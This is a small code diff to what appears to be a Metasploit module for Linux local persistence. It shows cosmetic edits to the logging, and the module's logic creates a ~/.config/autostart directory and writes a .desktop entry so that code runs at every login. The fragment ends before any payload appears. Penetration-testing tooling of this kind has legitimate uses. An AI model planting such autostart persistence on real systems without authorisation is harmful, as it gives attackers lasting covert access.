diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/exploits/linux/local/autostart_persistence.rb index 29b07bdaf4..618491ba04 100644 --- a/modules/exploits/linux/local/autostart_persistence.rb +++ b/modules/exploits/linux/local/autostart_persistence.rb @@ -39,18 +39,15 @@ class MetasploitModule < Msf::Exploit::Local def exploit name = datastore['NAME'] ? datastore['NAME'] : Rex::Text.rand_text_alpha(5) - vprint_status ("Name is #{name}") home = cmd_exec('echo ~') path = "#{home}/.config/autostart/#{name}.desktop" - print_status("Creating #{path}") print_status('Making sure the autostart directory exists') cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists - print_status('Uploading autostart file') - cmd_exec("rm #{path}") + print_status("Uploading autostart file #{path}") write_file(path, [ "[Desktop Entry]",